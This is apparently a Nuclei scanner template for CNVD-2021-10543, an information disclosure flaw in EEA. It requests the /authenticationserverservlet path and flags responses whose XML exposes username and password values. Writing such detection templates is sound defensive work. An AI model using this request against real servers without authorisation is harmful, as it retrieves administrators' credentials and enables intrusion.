id: CNVD-2021-10543

info:
  name: EEA - Information Disclosure
  author: pikpikcu
  severity: high
  description: EEA is susceptible to information disclosure including the username and password.
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-10543
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-200
  metadata:
    max-request: 1
  tags: cnvd,cnvd2021,config,exposure

http:
  - method: GET
    path:
      - "{{BaseURL}}/authenticationserverservlet"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "<username>(.*?)</username>"
          - "<password>(.*?)</password>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100eeb06760fc3ea3a0a83a22febf2b75bc4e9e3e4bb6a0e6f1556336ce0056590c022100eb6dcf2e8892454e25dd66d2db58ec82dfdd4ec2c29adc5aef74a2f7924bc652:922c64590222798bb761d5b6d8e72950